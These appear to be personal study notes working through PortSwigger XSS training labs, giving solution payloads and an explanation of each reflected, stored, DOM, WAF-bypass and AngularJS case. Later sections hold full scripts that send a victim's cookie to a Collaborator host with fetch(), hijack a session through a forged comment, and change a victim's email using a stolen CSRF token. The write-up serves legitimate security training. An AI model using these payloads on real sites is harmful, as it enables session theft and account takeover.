Portswigger XSS Lab Notes

1. Reflected XSS into HTML context with nothing encoded

This lab contains a simple reflected cross-site scripting vulnerability in the search functionality.

To solve the lab, perform a cross-site scripting attack that calls the alert function.

 Solution

1. Copy and paste the following into the search box:

***<script>alert(1)</script>***

1. Click "Search".
2. Stored XSS into HTML context with nothing encoded

This lab contains a stored cross-site scripting vulnerability in the comment functionality.

To solve this lab, submit a comment that calls the alert function when the blog post is viewed.

 Solution

1. Enter the following into the comment box:

***<script>alert(1)</script>***

1. Enter a name, email and website.
2. Click "Post comment".
3. Go back to the blog.
4. DOM XSS in document.write sink using source location.search

This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search, which you can control using the website URL.

To solve this lab, perform a cross-site scripting attack that calls the alert function.

* **Source** → The *untrusted input* that the application reads from.  
  Here, the source is **location.search**, because it takes the query string directly from the URL, which you as the attacker can control.
* **Sink** → The *dangerous function* where that untrusted input gets written/executed in the DOM.  
  Here, the sink is **document.write**, because it writes raw HTML/JavaScript directly into the page without sanitization.

So the data flow is:  
location.search (**source**) → document.write (**sink**) → XSS execution (alert()).

**Behavior**: Writes raw HTML (and scripts) directly into the document at parse time.

**Effect**: If the attacker injects <script>alert(1)</script>, it will be parsed and executed immediately.

**Quirk**: If document.write is called after the page is loaded, it can wipe out the existing DOM and replace it with the new content.

 Solution

1. Enter a random alphanumeric string into the search box.
2. Right-click and inspect the element, and observe that your random string has been placed inside an img src attribute.
3. Break out of the img attribute by searching for:
4. ***"><svg onload=alert(1)>***
5. DOM XSS in innerHTML sink using source location.search

This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search.

To solve this lab, perform a cross-site scripting attack that calls the alert function.

Behavior: Replaces the contents of an element with parsed HTML

 Effect: If the attacker injects HTML containing script, event handlers (onerror, onclick), or special tags (<img>, <svg>), it can trigger execution.

 Quirk: Scripts added via innerHTML don’t always execute automatically unless they are triggered (e.g., <img src=x onerror=alert(1)>).

 Solution

1. Enter the following into the into the search box:

***<img src=1 onerror=alert(1)>***

1. Click "Search".

The value of the src attribute is invalid and throws an error. This triggers the onerror event handler, which then calls the alert() function. As a result, the payload is executed whenever the user's browser attempts to load the page containing your malicious post.

1. DOM XSS in jQuery anchor href attribute sink using location.search source

This lab contains a DOM-based cross-site scripting vulnerability in the submit feedback page. It uses the jQuery library's $ selector function to find an anchor element, and changes its href attribute using data from location.search.

To solve this lab, make the "back" link alert document.cookie.

Source: location.search (the query string), specifically the returnPath parameter you control.

Sink;. jQuery attribute assignment to an anchor’s href,

Behavior

* Sets the href attribute of an existing <a> element.
* The browser treats whatever you set as a navigation target:
  + Relative/absolute URLs → normal navigation.
  + javascript: URL → executes the code in the context of the current page when the link is followed (clicked or programmatically activated).

Effect

* Unlike document.write or innerHTML, nothing executes just by *setting* the attribute.
* Execution happens on user interaction (clicking the “back” link), which is why the lab says: set returnPath=javascript:alert(document.cookie) and then click “back”.

Quirks (what to watch out for)

1. Needs a click (or trigger)  
   No immediate execution. You must click the link, or a script must call .click() on it.
2. Case-insensitivity of the scheme  
   Browsers treat javascript: case-insensitively (JaVaScRiPt: works).
3. URL encoding & entity decoding
   * If the app URL-encodes your value before assigning, javascript: might become inert (javascript%3A…).
   * jQuery’s .attr('href', ...) sets the attribute verbatim; it won’t decode HTML entities you try to sneak in (those only matter when parsing HTML markup, not when setting via DOM API).

Tiny compare vs your previous sinks

* document.write → immediate parsing/execution.
* innerHTML → parses HTML; scripts usually need an event/loader trick.
* This jQuery href sink → no HTML parsing, just sets a URL; code runs only when the link is used (e.g., javascript: scheme on click).

 Solution

1. On the Submit feedback page, change the query parameter returnPath to / followed by a random alphanumeric string.
2. Right-click and inspect the element, and observe that your random string has been placed inside an a href attribute.
3. Change returnPath to:

***javascript:alert(document.cookie)***

Hit enter and click "back".

1. DOM XSS in jQuery selector sink using a hashchange event

This lab contains a DOM-based cross-site scripting vulnerability on the home page. It uses jQuery's $() selector function to auto-scroll to a given post, whose title is passed via the location.hash property.

To solve the lab, deliver an exploit to the victim that calls the print() function in their browser.

 Solution

1. Notice the vulnerable code on the home page using Burp or the browser's DevTools.
2. From the lab banner, open the exploit server.
3. In the **Body** section, add the following malicious iframe:

***<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>***

1. Store the exploit, then click **View exploit** to confirm that the print() function is called.
2. Go back to the exploit server and click **Deliver to victim** to solve the lab.

Payload Breakdown:

**1. <iframe ...>**

* Creates an **embedded frame** that loads the vulnerable site.
* src=".../#" loads the home page with an **empty hash fragment** (#).

**2. onload="..."**

* The code inside runs when the iframe finishes loading. So this triggers **as soon as the iframe’s page is ready**.

**3. this.src += '<img src=x onerror=print()>'**

* this.src = the iframe’s URL. Initially:
* https://YOUR-LAB-ID.web-security-academy.net/#
* The += operator appends the payload to the URL hash.  
  After execution, src becomes:
* https://YOUR-LAB-ID.web-security-academy.net/#<img src=x onerror=print()>

**4. Why does this trigger XSS?**

* The vulnerable code takes **location.hash** (<img src=x onerror=print()>) and passes it into **jQuery’s $() selector sink**.
* Because the string starts with <, jQuery treats it as **HTML markup**, not a selector.
* It creates a real <img> element in the DOM.

**5. The onerror=print() part**

* The <img> has a broken src (x is invalid).
* That triggers its **onerror handler**, which runs print().
* This is the required effect in the lab (instead of alert(1)).

1. Reflected XSS into attribute with angle brackets HTML-encoded

This lab contains a reflected cross-site scripting vulnerability in the search blog functionality where angle brackets are HTML-encoded. To solve this lab, perform a cross-site scripting attack that injects an attribute and calls the alert function.

**Hint**

Just because you're able to trigger the alert() yourself doesn't mean that this will work on the victim. You may need to try injecting your proof-of-concept payload with a variety of different attributes before you find one that successfully executes in the victim's browser.

 Solution

1. Submit a random alphanumeric string in the search box, then use Burp Suite to intercept the search request and send it to Burp Repeater.
2. Observe that the random string has been reflected inside a quoted attribute.
3. Replace your input with the following payload to escape the quoted attribute and inject an event handler:

***"onmouseover="alert(1)***

1. Verify the technique worked by right-clicking, selecting "Copy URL", and pasting the URL in the browser. When you move the mouse over the injected element it should trigger an alert.

 **Context (why </> don’t work):**  
Angle brackets are HTML-encoded, so you can’t inject tags like <script>. But your input is reflected **inside a quoted attribute**, and quotes are **not** encoded—so you can **break out of the attribute** and add a new event-handler attribute.

 **Typical vulnerable pattern:**

<input value="[YOUR\_QUERY\_HERE]">

If you control a " inside value="...", you can inject another attribute.

 **What works (attribute injection):**  
Use a payload that:

1. closes the current attribute value,
2. adds an event handler,
3. (optionally) reopens/terminates cleanly.

Mouseover (needs interaction):

" onmouseover="alert(1) "

1. Stored XSS into anchor href attribute with double quotes HTML-encoded

This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.

 Solution

1. Post a comment with a random alphanumeric string in the "Website" input, then use Burp Suite to intercept the request and send it to Burp Repeater.
2. Make a second request in the browser to view the post and use Burp Suite to intercept the request and send it to Burp Repeater.
3. Observe that the random string in the second Repeater tab has been reflected inside an anchor href attribute.
4. Repeat the process again but this time replace your input with the following payload to inject a JavaScript URL that calls alert:

***javascript:alert(1)***

1. Verify the technique worked by right-clicking, selecting "Copy URL", and pasting the URL in the browser. Clicking the name above your comment should trigger an alert.

 Behavior:  
User-supplied Website field is stored and later reflected inside an <a href="...">. Angle brackets are encoded, but the value is used verbatim as the link target.

 Effect:  
Supplying javascript:alert(1) makes the anchor’s href a JavaScript URL. When someone clicks the author name link, the browser executes alert(1) in the page context.

 Quirks:

* Payload only runs on click, not automatically.
* Filters that prepend http:// or reject non-HTTP schemes could block javascript:.
* Case-insensitive, so JaVaScRiPt: bypasses weak filters.

Payload analysis: The **final working payload** for this lab is:

javascript:alert(1)

🔑 Explanation:

* It goes into the **Website** field when posting a comment.
* The application stores it and later renders it as:

<a href="javascript:alert(1)">YourName</a>

1. Reflected XSS into a JavaScript string with angle brackets HTML encoded

This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets are encoded. The reflection occurs inside a JavaScript string. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.

 Solution

1. Submit a random alphanumeric string in the search box, then use Burp Suite to intercept the search request and send it to Burp Repeater.
2. Observe that the random string has been reflected inside a JavaScript string.
3. Replace your input with the following payload to break out of the JavaScript string and inject an alert:

'-alert(1)-'

1. Verify the technique worked by right clicking, selecting "Copy URL", and pasting the URL in the browser. When you load the page it should trigger an alert.

**Context**

* The app reflects your input **inside a JavaScript string literal**, like:

<script>

var q = 'USERINPUT';

</script>

* Angle brackets (< >) are **HTML-encoded**, so you can’t break into HTML tags. Instead, you have to break out of the **JavaScript string** itself

**Payload Behavior**

* '- closes the existing single-quoted string.
* Then alert(1) runs as standalone JavaScript.
* The trailing -' starts a new string so the rest of the original script still parses without syntax errors.

So the final injected code looks like:

var q = ''-alert(1)-'';

**Effect**

* The injected code breaks out of the string context and runs alert(1).
* This proves **reflected DOM-based XSS** is possible even though <script> injection is blocked by HTML encoding.

**Quirks**

* **String context sensitive**: You must balance quotes carefully. If the app used double quotes ("...") instead of single quotes, you’d need a different payload ("-alert(1)-").
* **Angle brackets irrelevant here**: Since the injection happens in JS, you don’t need <script> tags at all.
* **Dash characters (-)** aren’t special, they’re just padding to keep syntax valid. Other fillers like ; or // could also be used.

1. DOM XSS in document.write sink using source location.search inside a select element

This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search which you can control using the website URL. The data is enclosed within a select element.

To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the alert function.

 Solution

1. On the product pages, notice that the dangerous JavaScript extracts a storeId parameter from the location.search source. It then uses document.write to create a new option in the select element for the stock checker functionality.
2. Add a storeId query parameter to the URL and enter a random alphanumeric string as its value. Request this modified URL.
3. In the browser, notice that your random string is now listed as one of the options in the drop-down list.
4. Right-click and inspect the drop-down list to confirm that the value of your storeId parameter has been placed inside a select element.
5. Change the URL to include a suitable XSS payload inside the storeId parameter as follows:

***product?productId=1&storeId="></select><img%20src=1%20oner***

URL Decoded Payload:

* ?productId=1&storeId="></select><img src=1 onerror=alert(1)>
* closes the <select>, injects an <img> with an error handler, and executes alert(1).

1. DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

This lab contains a DOM-based cross-site scripting vulnerability in a AngularJS expression within the search functionality.

AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the ng-app attribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces. This technique is useful when angle brackets are being encoded.

To solve this lab, perform a cross-site scripting attack that executes an AngularJS expression and calls the alert function.

 Solution

1. Enter a random alphanumeric string into the search box.
2. View the page source and observe that your random string is enclosed in an ng-app directive.
3. Enter the following AngularJS expression in the search box:

{{$on.constructor('alert(1)')()}}

1. Click **search**.

Payload Analysis:

{{$on.constructor('alert(1)')()}} uses Angular’s scope object $on, grabs its constructor (the Function object), builds a new function containing alert(1), and immediately executes it.

 This runs arbitrary JavaScript despite angle brackets being encoded.

1. Reflected DOM XSS

This lab demonstrates a reflected DOM vulnerability. Reflected DOM vulnerabilities occur when the server-side application processes data from a request and echoes the data in the response. A script on the page then processes the reflected data in an unsafe way, ultimately writing it to a dangerous sink.

To solve this lab, create an injection that calls the alert() function.

 Solution

1. In Burp Suite, go to the Proxy tool and make sure that the Intercept feature is switched on.
2. Back in the lab, go to the target website and use the search bar to search for a random test string, such as "XSS".
3. Return to the Proxy tool in Burp Suite and forward the request.
4. On the Intercept tab, notice that the string is reflected in a JSON response called search-results.
5. From the Site Map, open the searchResults.js file and notice that the JSON response is used with an eval() function call.
6. By experimenting with different search strings, you can identify that the JSON response is escaping quotation marks. However, backslash is not being escaped.
7. To solve this lab, enter the following search term:

***\"-alert(1)}//***

As you have injected a backslash and the site isn't escaping them, when the JSON response attempts to escape the opening double-quotes character, it adds a second backslash. The resulting double-backslash causes the escaping to be effectively canceled out. This means that the double-quotes are processed unescaped, which closes the string that should contain the search term.

An arithmetic operator (in this case the subtraction operator) is then used to separate the expressions before the alert() function is called. Finally, a closing curly bracket and two forward slashes close the JSON object early and comment out what would have been the rest of the object. As a result, the response is generated as follows:

***{"searchTerm":"\\"-alert(1)}//", "results":[]}***

The injected payload changes the safe JSON into code that looks like this:

{"searchTerm":"\\"-alert(1)}//", "results":[]}

When eval() runs it, the browser executes **alert(1)**.

1. Stored DOM XSS

This lab demonstrates a stored DOM vulnerability in the blog comment functionality. To solve this lab, exploit this vulnerability to call the alert() function.

 Solution

Post a comment containing the following vector:

***<><img src=1 onerror=alert(1)>***

In an attempt to prevent XSS, the website uses the JavaScript replace() function to encode angle brackets. However, when the first argument is a string, the function only replaces the first occurrence. We exploit this vulnerability by simply including an extra set of angle brackets at the beginning of the comment. These angle brackets will be encoded, but any subsequent angle brackets will be unaffected, enabling us to effectively bypass the filter and inject HTML.

1. Reflected XSS into HTML context with most tags and attributes blocked

This lab contains a reflected XSS vulnerability in the search functionality but uses a web application firewall (WAF) to protect against common XSS vectors.

To solve the lab, perform a cross-site scripting attack that bypasses the WAF and calls the print() function.

**Note**

Your solution must not require any user interaction. Manually causing print() to be called in your own browser will not solve the lab.

 Solution

1. Inject a standard XSS vector, such as:

***<img src=1 onerror=print()>***

1. Observe that this gets blocked. In the next few steps, we'll use use Burp Intruder to test which tags and attributes are being blocked.
2. Open Burp's browser and use the search function in the lab. Send the resulting request to Burp Intruder.
3. In Burp Intruder, replace the value of the search term with: <>
4. Place the cursor between the angle brackets and click **Add §** to create a payload position. The value of the search term should now look like: <§§>
5. Visit the [XSS cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click **Copy tags to clipboard**.
6. In the **Payloads** side panel, under **Payload configuration**, click **Paste** to paste the list of tags into the payloads list. Click **Start attack**.
7. When the attack is finished, review the results. Note that most payloads caused a 400 response, but the body payload caused a 200 response.
8. Go back to Burp Intruder and replace your search term with:

***<body%20=1>***

1. Place the cursor before the = character and click **Add §** to create a payload position. The value of the search term should now look like: ***<body%20§§=1>***
2. Visit the [XSS cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click **Copy events to clipboard**.
3. In the **Payloads** side panel, under **Payload configuration**, click **Clear** to remove the previous payloads. Then click **Paste** to paste the list of attributes into the payloads list. Click **Start attack**.
4. When the attack is finished, review the results. Note that most payloads caused a 400 response, but the onresize payload caused a 200 response.
5. Go to the exploit server and paste the following code, replacing YOUR-LAB-ID with your lab ID:

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

1. Click **Store** and **Deliver exploit to victim**.

Full decoded iframe:

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search="><body onresize=print()>" onload=this.style.width='100px'>

15. Reflected XSS into HTML context with all tags blocked except custom ones

This lab blocks all HTML tags except custom ones.

To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts document.cookie.

 Solution

1. Go to the exploit server and paste the following code, replacing YOUR-LAB-ID with your lab ID:

***<script>***

***location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';***

***</script>***

1. Click "Store" and "Deliver exploit to victim".

This injection creates a custom tag with the ID x, which contains an onfocus event handler that triggers the alert function. The hash at the end of the URL focuses on this element as soon as the page is loaded, causing the alert payload to be called.

<script>location='https://YOUR-LAB-ID.web-security-academy.net/?search=<xss+id=x+onfocus=alert(document.cookie) tabindex=1>#x';</script>

1. Reflected XSS with some SVG markup allowed

This lab has a simple reflected XSS vulnerability. The site is blocking common tags but misses some SVG tags and events.

To solve the lab, perform a cross-site scripting attack that calls the alert() function.

 Solution

1. Inject a standard XSS payload, such as:

***<img src=1 onerror=alert(1)>***

1. Observe that this payload gets blocked. In the next few steps, we'll use Burp Intruder to test which tags and attributes are being blocked.
2. Open Burp's browser and use the search function in the lab. Send the resulting request to Burp Intruder.
3. In the request template, replace the value of the search term with: <>
4. Place the cursor between the angle brackets and click **Add §** to create a payload position. The value of the search term should now be: <§§>
5. Visit the [XSS cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click **Copy tags to clipboard**.
6. In Burp Intruder, in the **Payloads** side panel, click **Paste** to paste the list of tags into the payloads list. Click **Start attack**.
7. When the attack is finished, review the results. Observe that all payloads caused a 400 response, except for the ones using the <svg>, <animatetransform>, <title>, and <image> tags, which received a 200 response.
8. Go back to the **Intruder** tab and replace your search term with:

***<svg><animatetransform%20=1>***

1. Place the cursor before the = character and click **Add §** to create a payload position. The value of the search term should now be:

***<svg><animatetransform%20§§=1>***

1. Visit the [XSS cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click **Copy events to clipboard**.
2. In Burp Intruder, in the **Payloads** side panel, click **Clear** to remove the previous payloads. Then click **Paste** to paste the list of attributes into the payloads list. Click **Start attack**.
3. When the attack is finished, review the results. Note that all payloads caused a 400 response, except for the onbegin payload, which caused a 200 response.

Visit the following URL in the browser to confirm that the alert() function is called and the lab is solved:

[***https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E***](https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E)

https://YOUR-LAB-ID.web-security-academy.net/?search="><svg><animatetransform onbegin=alert(1)>

1. Reflected XSS in canonical link tag

This lab reflects user input in a canonical link tag and escapes angle brackets.

To solve the lab, perform a cross-site scripting attack on the home page that injects an attribute that calls the alert function.

To assist with your exploit, you can assume that the simulated user will press the following key combinations:

* ALT+SHIFT+X
* CTRL+ALT+X
* Alt+X

Please note that the intended solution to this lab is only possible in Chrome.

 Solution

1. Visit the following URL, replacing YOUR-LAB-ID with your lab ID:

[***https://YOUR-LAB-ID.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)***](https://YOUR-LAB-ID.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1))

https://YOUR-LAB-ID.web-security-academy.net/?'accesskey='x'onclick='alert(1)

This sets the X key as an access key for the whole page. When a user presses the access key, the alert function is called.

1. To trigger the exploit on yourself, press one of the following key combinations:
   * On Windows: ALT+SHIFT+X
   * On MacOS: CTRL+ALT+X
   * On Linux: Alt+X
2. Reflected XSS into a JavaScript string with single quote and backslash escaped

This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality. The reflection occurs inside a JavaScript string with single quotes and backslashes escaped.

To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.

 Solution

1. Submit a random alphanumeric string in the search box, then use Burp Suite to intercept the search request and send it to Burp Repeater.
2. Observe that the random string has been reflected inside a JavaScript string.
3. Try sending the payload test'payload and observe that your single quote gets backslash-escaped, preventing you from breaking out of the string.
4. Replace your input with the following payload to break out of the script block and inject a new script:

</script><script>alert(1)</script>

1. Verify the technique worked by right clicking, selecting "Copy URL", and pasting the URL in the browser. When you load the page it should trigger an alert.

**Why it works**

1. **</script>**
   * Closes the *current* script block prematurely.
   * This gets you out of the JavaScript string safely — the browser stops parsing it as part of var q = '...'.
2. **<script>alert(1)</script>**
   * Opens a brand new <script> block.
   * Inside it, you place your malicious JavaScript (alert(1)), which executes immediately.
3. The rest of the page loads normally, because you didn’t leave broken syntax behind.
4. Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets and double are HTML encoded and single quotes are escaped.

To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.

 Solution

1. Submit a random alphanumeric string in the search box, then use Burp Suite to intercept the search request and send it to Burp Repeater.
2. Observe that the random string has been reflected inside a JavaScript string.
3. Try sending the payload ***test'payload*** and observe that your single quote gets backslash-escaped, preventing you from breaking out of the string.
4. Try sending the payload ***test\payload*** and observe that your backslash doesn't get escaped.
5. Replace your input with the following payload to break out of the JavaScript string and inject an alert:

***\'-alert(1)//***

1. Verify the technique worked by right clicking, selecting "Copy URL", and pasting the URL in the browser. When you load the page it should trigger an alert.

 Your input is reflected inside a **JavaScript string**, like:

var q = 'USERINPUT';

 Protections in place:

* **Angle brackets (< >) encoded** → you can’t inject HTML tags like <script>.
* **Double quotes (") encoded** → you can’t break out if the string used "...".
* **Single quotes (') escaped** → ' → \', so it looks safe.
* **Backslashes (\) NOT escaped** → that’s the key weakness.

Payload analysis:

 **\'**

* Because you supply a literal backslash \, and the app doesn’t escape it, this sequence becomes just **\' in the source**.
* That cancels out the escaping mechanism: the backslash now escapes the quote **character itself**, leaving you effectively outside the string.

 **-alert(1)**

* Once outside, you inject JavaScript.
* The - subtraction operator makes the code syntactically valid after the closed string.
* Example resulting code:
* var q = 'somevalue\'-alert(1)//';

Which executes as:

'somevalue' - alert(1) → runs alert(1).

 **//**

* Turns the rest of the line into a comment so the original code after your payload is ignored.

1. Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

This lab contains a stored cross-site scripting vulnerability in the comment functionality.

To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.

 Solution

1. Post a comment with a random alphanumeric string in the "Website" input, then use Burp Suite to intercept the request and send it to Burp Repeater.
2. Make a second request in the browser to view the post and use Burp Suite to intercept the request and send it to Burp Repeater.
3. Observe that the random string in the second Repeater tab has been reflected inside an onclick event handler attribute.
4. Repeat the process again but this time modify your input to inject a JavaScript URL that calls alert, using the following payload:

***http://foo?&apos;-alert(1)-&apos;***

1. Verify the technique worked by right-clicking, selecting "Copy URL", and pasting the URL in the browser. Clicking the name above your comment should trigger an alert.

Protections:

* Angle brackets < > encoded → can’t inject tags.
* Double quotes " encoded → can’t break the onclick="...".
* Single quotes ' and backslashes \ escaped → you can’t just close 'USERINPUT'.

When placed inside the onclick, it expands like this at runtime:

<a onclick="someFunc('http://foo?'-alert(1)-'')">Name</a>

1. **First &apos;** → closes the original JS string.
2. **-alert(1)-** → executes JavaScript (the subtraction operator keeps syntax valid).
3. **Second &apos;** → reopens a string, so the rest of the code doesn’t break.
4. Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

This lab contains a reflected cross-site scripting vulnerability in the search blog functionality. The reflection occurs inside a template string with angle brackets, single, and double quotes HTML encoded, and backticks escaped. To solve this lab, perform a cross-site scripting attack that calls the alert function inside the template string.

 Solution

1. Submit a random alphanumeric string in the search box, then use Burp Suite to intercept the search request and send it to Burp Repeater.
2. Observe that the random string has been reflected inside a JavaScript template string.
3. Replace your input with the following payload to execute JavaScript inside the template string: ***${alert(1)}***
4. Verify the technique worked by right clicking, selecting "Copy URL", and pasting the URL in the browser. When you load the page it should trigger an alert.
5. Exploiting Cross-site Scripting to Steal Cookies (With Collaborator)

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim's session cookie, then use this cookie to impersonate the victim.

**What Collaborator does**

* Burp Collaborator gives you a unique subdomain (e.g., abcd1234.oastify.com).
* If any victim browser or server makes a request to that subdomain, Collaborator logs it.
* That’s how you detect whether your XSS or SSRF payload actually triggered.

**⚡ What “Poll now” means**

* By default, Collaborator doesn’t instantly show incoming requests — it just waits quietly in the background.
* **When you click “Poll now”**, Burp asks the Collaborator server:  
  *“Hey, did anyone make a DNS/HTTP/SMTP request to my subdomain yet?”*
* If yes, it shows you the interactions (with the request/response details).
* You can click it repeatedly until you see your victim’s request appear.

Solution

1. Using Burp Suite Professional, go to the [Collaborator](https://portswigger.net/burp/documentation/desktop/tools/collaborator) tab.
2. Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard.
3. Submit the following payload in a blog comment, inserting your Burp Collaborator subdomain where indicated:

***<script>***

***fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {***

***method: 'POST',***

***mode: 'no-cors',***

***body:document.cookie***

***});***

***</script>***

This script will make anyone who views the comment issue a POST request containing their cookie to your subdomain on the public Collaborator server.

1. Go back to the Collaborator tab, and click "Poll now". You should see an HTTP interaction. If you don't see any interactions listed, wait a few seconds and try again.
2. Take a note of the value of the victim's cookie in the POST body.
3. Reload the main blog page, using Burp Proxy or Burp Repeater to replace your own session cookie with the one you captured in Burp Collaborator. Send the request to solve the lab. To prove that you have successfully hijacked the admin user's session, you can use the same cookie in a request to /my-account to load the admin user's account page.
4. Exploiting Cross-site Scripting to Steal Cookies (Without Collaborator)

Overview

The idea is to combine:

1. **Stored XSS** → run JavaScript in victim’s browser.
2. **CSRF** → make victim post their own document.cookie in a new public blog comment.
3. **Session Hijacking** → use that stolen cookie to log in as the victim.

Steps

**1️⃣ Find XSS**

* Post a comment containing ***<script>alert(1)</script>*** to confirm JavaScript execution.
* The comment form fields (name, email, website) must be filled to pass validation.

**2️⃣ Understand the Comment POST Request**

* Posting a comment sends a **POST** request to /post/comment with:
  + csrf token (hidden field in form)
  + postId (ID of the blog post)
  + comment (your XSS payload)
  + name, email, website (can be arbitrary)
* You must **steal** the csrf token dynamically in your payload, because it’s generated per page load.

**3️⃣ Extract the CSRF Token in JavaScript**

* You can grab it in victim’s browser via: (Your malicious script runs inside the victim’s session, so it can read the CSRF token directly from the form)

***document.getElementsByName('csrf')[0].value***

* Delay your script until the DOM loads to ensure the token is present.

**4️⃣ Build the Malicious Payload**

The script uses that stolen token to forge a legitimate POST request on behalf of the victim.

* Payload must:
  1. Get the CSRF token.
  2. Build a FormData object with all required fields.
  3. Set comment to document.cookie.
  4. Send it via fetch to /post/comment.

Payload:

***<script>***

***window.addEventListener('DOMContentLoaded', () => {***

***const get = n => (document.getElementsByName(n)[0] || {}).value || "";***

***const token = get('csrf');***

***const postId = get('postId'); // safer than hard-coding***

***const data = new FormData();***

***data.append('csrf', token);***

***data.append('postId', postId);***

***data.append('name', 'victim');***

***data.append('email', 'victim@example.com');***

***data.append('website', 'http://example.com');***

***data.append('comment', document.cookie);***

***fetch('/post/comment', {***

***method: 'POST',***

***body: data***

***});***

***});***

***</script>***

**5️⃣ Deploy the Payload**

* Post this payload as your comment in any blog post.
* The lab’s simulated victim will visit the page, execute the payload, and post their own cookie in a new visible comment.

**6️⃣ Steal and Use the Cookie**

* Refresh the blog post to see the new comment containing the victim’s session cookie.
* Copy that cookie value.
* Replace your own session cookie in browser DevTools → Application → Cookies (or using document.cookie if it’s not HttpOnly). (or send GET my-account again with the stolen cookie)
* Reload /my-account to confirm you’re logged in as the victim (admin).

Lab Recap – Alternative Solution Without Burp Collaborator

**1. Cross-Site Scripting (XSS)**

* The blog’s comment field was vulnerable to stored XSS, allowing arbitrary JavaScript to run in the victim’s browser.
* Normally, an attacker could use XSS to send the cookie to an attacker-controlled endpoint (like Burp Collaborator).
* In this lab, Collaborator was unavailable, so a direct exfiltration wasn’t possible.

**2. Cross-Site Request Forgery (CSRF) via XSS**

* Instead of sending the cookie off-site, the injected JavaScript made the victim submit a new blog comment containing their own document.cookie.
* To successfully submit a comment, the request needed the victim’s valid **CSRF token**.
* The payload extracted the CSRF token from a hidden form field in the DOM and used it in a forged POST request to /post/comment.

**3. Active Session Hijacking**

* Once the victim’s browser executed the payload, their cookie appeared publicly in the new comment.
* The attacker copied the session value from this comment.
* By replacing their own session cookie with the stolen one, they gained access to /my-account as the victim (admin).

**Difference from the alternative solution**

* **With Collaborator** → Victim’s cookie is sent silently to you. No one else sees it. No extra CSRF trickery needed.
* **Without Collaborator** → You must still use XSS to grab the cookie, but you **post it publicly** on the site via CSRF so you can read it. This is more obvious to anyone who sees the page.
  1. Exploiting XSS to bypass CSRF defenses

This lab contains a stored XSS vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to steal a CSRF token, which you can then use to change the email address of someone who views the blog post comments.

You can log in to your own account using the following credentials: wiener:peter

**Hint**

You cannot register an email address that is already taken by another user. If you change your own email address while testing your exploit, use a different email address for the final exploit you deliver to the victim.

 Solution

1. Log in using the credentials provided. On your user account page, notice the function for updating your email address.
2. If you view the source for the page, you'll see the following information:
   * You need to issue a POST request to /my-account/change-email, with a parameter called email.
   * There's an anti-CSRF token in a hidden input called token.

This means your exploit will need to load the user account page, extract the CSRF token, and then use the token to change the victim's email address.

1. Submit the following payload in a blog comment:

***<script>***

***var req = new XMLHttpRequest();***

***req.onload = handleResponse;***

***req.open('get','/my-account',true);***

***req.send();***

***function handleResponse() {***

***var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];***

***var changeReq = new XMLHttpRequest();***

***changeReq.open('post', '/my-account/change-email', true);***

***changeReq.send('csrf='+token+'&email=test@test.com')***

***};***

***</script>***

This will make anyone who views the comment issue a POST request to change their email address to [test@test.com](mailto:test@test.com).

My payload:

***<script>***

***window.addEventListener('DOMContentLoaded', () => {***

***// 1) Pull the victim's CSRF token from their /my-account page***

***fetch('/my-account')***

***.then(r => r.text())***

***.then(html => {***

***const token = (html.match(/name="csrf"\s+value="([^"]+)"/) || [])[1] || '';***

***if (!token) return;***

***// 2) Build the change-email POST with a unique address***

***const data = new FormData();***

***data.append('csrf', token);***

***data.append('email', 'owned+' + Date.now() + '@evil.example');***

***// 3) Submit the change (same-origin, so cookies ride along)***

***fetch('/my-account/change-email', {***

***method: 'POST',***

***body: data,***

***credentials: 'include'***

***});***

***});***

***});***

***</script>***

**Lab 22 vs 24 Key Differences:**

| **Aspect** | **Lab 23 (Cookie exfil)** | **Lab 24 (Change email)** |
| --- | --- | --- |
| **Objective** | Steal session cookie | Force a state-changing action |
